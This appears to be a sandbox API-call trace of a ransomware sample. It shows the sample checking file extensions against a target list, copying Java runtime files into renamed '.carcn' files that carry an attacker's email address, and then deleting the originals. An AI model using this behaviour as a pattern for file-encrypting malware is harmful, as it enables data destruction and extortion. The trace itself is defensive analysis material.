[0301.885] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.885] lstrlenW (lpString=".pdf") returned 4 [0301.885] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.885] lstrlenW (lpString=".xls") returned 4 [0301.886] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".xlsx") returned 5 [0301.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.886] lstrlenW (lpString=".ppt") returned 4 [0301.886] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString=".zip") returned 4 [0301.886] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".rar") returned 4 [0301.886] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".bz2") returned 4 [0301.886] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.886] lstrlenW (lpString=".7z") returned 3 [0301.886] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString=".dbf") returned 4 [0301.886] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString=".1cd") returned 4 [0301.886] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString=".jpg") returned 4 [0301.886] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.886] lstrlenW (lpString=".doc") returned 4 [0301.886] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".docx") returned 5 [0301.886] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.886] lstrlenW (lpString=".pdf") returned 4 [0301.886] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".xls") returned 4 [0301.886] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.886] lstrlenW (lpString=".xlsx") returned 5 [0301.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.887] lstrlenW (lpString=".ppt") returned 4 [0301.887] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.887] lstrlenW (lpString=".zip") returned 4 [0301.887] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.887] lstrlenW (lpString=".rar") returned 4 [0301.887] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.887] lstrlenW (lpString=".bz2") returned 4 [0301.887] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.887] lstrlenW (lpString=".7z") returned 3 [0301.887] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.887] lstrlenW (lpString=".dbf") returned 4 [0301.887] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.887] lstrlenW (lpString=".1cd") returned 4 [0301.887] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.887] lstrlenW (lpString=".jpg") returned 4 [0301.887] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.903] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0301.903] lstrlenW (lpString="jli.dll") returned 7 [0301.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0301.903] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=174656) returned 1 [0301.903] CloseHandle (hObject=0x338) returned 1 [0301.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0301.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0301.904] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.904] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0301.911] GetLastError () returned 0x0 [0301.911] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x2aa40, lpOverlapped=0x0) returned 1 [0302.225] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x2aa50, lpOverlapped=0x0) returned 1 [0302.228] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.228] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0302.228] SetEndOfFile (hFile=0x394) returned 1 [0302.228] CloseHandle (hObject=0x394) returned 1 [0302.228] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.229] SetEndOfFile (hFile=0x338) returned 1 [0302.230] CloseHandle (hObject=0x338) returned 1 [0302.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.231] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0302.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.231] lstrlenW (lpString=".doc") returned 4 [0302.231] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString=".docx") returned 5 [0302.231] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0302.231] lstrlenW (lpString=".pdf") returned 4 [0302.231] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString=".xls") returned 4 [0302.231] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString=".xlsx") returned 5 [0302.231] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0302.231] lstrlenW (lpString=".ppt") returned 4 [0302.231] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.231] lstrlenW (lpString=".zip") returned 4 [0302.231] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString=".rar") returned 4 [0302.231] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.231] lstrlenW (lpString=".bz2") returned 4 [0302.231] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.231] lstrlenW (lpString=".7z") returned 3 [0302.231] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".dbf") returned 4 [0302.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".1cd") returned 4 [0302.232] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".jpg") returned 4 [0302.232] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".doc") returned 4 [0302.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString=".docx") returned 5 [0302.232] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0302.232] lstrlenW (lpString=".pdf") returned 4 [0302.232] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString=".xls") returned 4 [0302.232] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString=".xlsx") returned 5 [0302.232] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0302.232] lstrlenW (lpString=".ppt") returned 4 [0302.232] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".zip") returned 4 [0302.232] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString=".rar") returned 4 [0302.232] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.232] lstrlenW (lpString=".bz2") returned 4 [0302.232] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.232] lstrlenW (lpString=".7z") returned 3 [0302.232] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.232] lstrlenW (lpString=".dbf") returned 4 [0302.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.233] lstrlenW (lpString=".1cd") returned 4 [0302.233] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0302.233] lstrlenW (lpString=".jpg") returned 4 [0302.233] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.233] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.233] lstrlenW (lpString="jpeg.dll") returned 8 [0302.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.233] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=185920) returned 1 [0302.233] CloseHandle (hObject=0x338) returned 1 [0302.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0302.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.234] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.234] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0302.257] GetLastError () returned 0x0 [0302.257] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x2d640, lpOverlapped=0x0) returned 1 [0302.432] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x2d650, lpOverlapped=0x0) returned 1 [0302.435] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.435] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.435] SetEndOfFile (hFile=0x394) returned 1 [0302.435] CloseHandle (hObject=0x394) returned 1 [0302.435] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.435] SetEndOfFile (hFile=0x338) returned 1 [0302.437] CloseHandle (hObject=0x338) returned 1 [0302.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.437] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0302.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.437] lstrlenW (lpString=".doc") returned 4 [0302.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.437] lstrlenW (lpString=".docx") returned 5 [0302.437] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0302.437] lstrlenW (lpString=".pdf") returned 4 [0302.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString=".xls") returned 4 [0302.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString=".xlsx") returned 5 [0302.438] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0302.438] lstrlenW (lpString=".ppt") returned 4 [0302.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.438] lstrlenW (lpString=".zip") returned 4 [0302.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString=".rar") returned 4 [0302.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString=".bz2") returned 4 [0302.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.438] lstrlenW (lpString=".7z") returned 3 [0302.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.438] lstrlenW (lpString=".dbf") returned 4 [0302.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.438] lstrlenW (lpString=".1cd") returned 4 [0302.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.438] lstrlenW (lpString=".jpg") returned 4 [0302.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString=".doc") returned 4 [0302.439] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString=".docx") returned 5 [0302.439] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0302.439] lstrlenW (lpString=".pdf") returned 4 [0302.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString=".xls") returned 4 [0302.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString=".xlsx") returned 5 [0302.439] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0302.439] lstrlenW (lpString=".ppt") returned 4 [0302.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString=".zip") returned 4 [0302.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString=".rar") returned 4 [0302.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.439] lstrlenW (lpString=".bz2") returned 4 [0302.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.439] lstrlenW (lpString=".7z") returned 3 [0302.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString=".dbf") returned 4 [0302.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString=".1cd") returned 4 [0302.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0302.439] lstrlenW (lpString=".jpg") returned 4 [0302.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.439] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0302.439] lstrlenW (lpString="kinit.exe") returned 9 [0302.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.440] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16448) returned 1 [0302.440] CloseHandle (hObject=0x338) returned 1 [0302.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0302.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.440] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.440] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0302.441] GetLastError () returned 0x0 [0302.441] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0302.582] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0302.583] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.583] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0302.583] SetEndOfFile (hFile=0x394) returned 1 [0302.583] CloseHandle (hObject=0x394) returned 1 [0302.584] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.584] SetEndOfFile (hFile=0x338) returned 1 [0302.585] CloseHandle (hObject=0x338) returned 1 [0302.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.585] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0302.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.586] lstrlenW (lpString=".doc") returned 4 [0302.586] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.586] lstrlenW (lpString=".docx") returned 5 [0302.586] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0302.586] lstrlenW (lpString=".pdf") returned 4 [0302.586] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.586] lstrlenW (lpString=".xls") returned 4 [0302.586] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.586] lstrlenW (lpString=".xlsx") returned 5 [0302.586] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0302.586] lstrlenW (lpString=".ppt") returned 4 [0302.586] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.586] lstrlenW (lpString=".zip") returned 4 [0302.586] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.586] lstrlenW (lpString=".rar") returned 4 [0302.586] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.586] lstrlenW (lpString=".bz2") returned 4 [0302.586] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.586] lstrlenW (lpString=".7z") returned 3 [0302.586] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.586] lstrlenW (lpString=".dbf") returned 4 [0302.586] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.586] lstrlenW (lpString=".1cd") returned 4 [0302.587] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.587] lstrlenW (lpString=".jpg") returned 4 [0302.587] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 